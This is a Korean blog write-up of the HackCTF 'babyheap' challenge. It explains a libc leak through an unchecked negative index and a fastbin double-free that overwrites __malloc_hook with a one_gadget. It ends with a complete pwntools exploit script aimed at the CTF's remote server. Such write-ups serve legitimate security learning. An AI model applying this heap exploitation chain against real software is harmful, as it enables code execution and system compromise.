상세 컨텐츠

본문 제목

[HackCTF] babyheap

SYSTEM HACKING/HackCTF

by koharin 2020. 3. 9. 21:52

본문

728x90
반응형

# checksec / file

 


# process

 

 

Heap 주소 저장하는 포인터는 전역변수 ptr에서 관리된다.

 

FULL RELRO라서 GOT overwrite은 불가능하므로 one gadget 사용해야 한다.

edit하는 함수는 없으므로 one_gadget을 실행시키려면 전역변수의 ptrone_gadget 주소를 담아서 freeputs 시 실행되도록 해야한다.

read(0, ptr[a1], v2)를 보면 ptr8바이트일텐데 12바이트만큼 입력해준다.

따라서 4바이트 overflow가 발생한다.

 

Fast dup into stack이 떠올랐다..

malloc_hookone_gadget으로 덮는데 fake chunk가 그 앞에 있어야 한다.

 

1. libc leak

 

malloc 할 수 있는 개수가 제한되어 있어서 UAF로 main_arena leak을 하고나면 fake chunk를 생성하고 익스하는데 모자른다.

따라서 malloc 개수를 줄이기 위해 uafmain_arena leak하는 과정을 줄이고 다음과 같은 방법을 사용한다.

 

 

Elf64_Rel 구조체의 주소들은 함수의 GOT를 값으로 가지는 포인터들이다.

 

ptr dl Elf64_Rel 구조체에 got 가리키는 값이 적힌 주소의 차이를 뺀다.

인덱스이므로 8로 나누면 show에서 그 값을 leak할 수 있다.

 

show에서 음수는 검사하지 않는 취약점이므로 가능하다.

 

 

주의 : leak 시 앞에 “\x00\x00”을 붙여야 한다

 

 

이 주소와 libcBase 차이로 libcBase를 구하고, main_arena, one_Gadget들의 주소들도 구해준다.

 

 

2. fake chunk 생성

 

Fast bin에는 fd만 있고 bk가 없으므로 bkfake chunk 주소를 넣어준다.

 

double free bug를 사용하기 위해 fast chunk를 할당해준다.

fastbin으로 만들 때 헤더 사이즈가 0x10이므로 0x80으로 사이즈를 하지 말고 0x60으로 사이즈를 준다.

 

double free bug

 

Double free bins 상태, 여기서 malloc 시 첫 번째가 할당, malloc 시 두 번째 것이 할당되는데 두 번째의 fdfake chunk를 넣는다.

 

 

그럼 이렇게 fake chunk가 정상적으로 가리켜지게 된다.

 

 

첫 번째 청크 할당된 후 두 상태, 이제 두 번째도 할당

 

 

마지막으로 한번 더 할당 시 fake chunk가 할당되고, 이때 값을 넣어준다.

Fake chunk 전 하나 더 malloc 후 해야 fake chunk 할당됨

 

 

그래야 이렇게 fake chunk까지 할당된 후 ㄷ른 값이 올라와있다.

 

3. fake chunk에 값 넣기

 

 

fake chunk가 할당되고 나면 값을 넣을 수 있다.

 

offset을 적절히 구해서 __malloc_hook에 one_gadget 값을 넣는다.

 

 

Malloc hook에 덮힌 값을 확인해보면 one_gadget임을 알 수 있다.

 

 

4. double free 

 

문제는 6개까지 청크를 할당할 수 있는데 이미 fake chunk를 할당하기 위해 다 써버렸다.

double freefreeabortcorruption이 뜨게 해서 쉘을 딴다.

 


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./babyheap")
p = remote("ctf.j0n9hyun.xyz", 3030)
elf = ELF("./babyheap")
libc = ELF("./libc.so.6")

def malloc(size, content):
    p.sendafter("> ", '1')
    p.sendlineafter("size: ", str(size))
    p.sendafter("content: ", content)

def free(index):
    p.sendafter("> ", '2')
    p.sendlineafter("index: ", str(index))

def show(index):
    p.sendafter("> ", '3')
    p.sendlineafter("index: ", str(index))

ptr_addr = 0x602060
rel_addr = 0x400590

show((rel_addr - ptr_addr)/8)

addr = u64(p.recvline()[:6] + "\x00\x00")

libcBase = addr - 0x844f0
main_arena_88 = libcBase + 0x3c4b78
one_gadget = libcBase + 0xf02a4
malloc_hook = main_arena_88-88-16
log.info("addr : "+hex(addr))
log.info("libcBase : "+hex(libcBase))
log.info("main_arena_88 : "+hex(main_arena_88))

malloc(0x60, 'B'*0x10)
malloc(0x60, 'C'*0x10)

free(0)
free(1)
free(0)

#gdb.attach(p)

malloc(0x60, p64(malloc_hook-35))
malloc(0x60, 'D'*0x10)
malloc(0x60, 'E'*0x10)
malloc(0x60, 'A'*(35-16)+p64(one_gadget))

free(2)
free(2)

p.interactive()

 

# exploit

 


 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Welcome_REV (Reversing)  (0) 2020.03.09
[HackCTF] World best encryption tool  (0) 2020.03.09
[HackCTF] 풍수지리설  (0) 2020.02.28
[HackCTF] Register  (0) 2020.02.10
[HackCTF] RTC  (0) 2020.02.03

관련글 더보기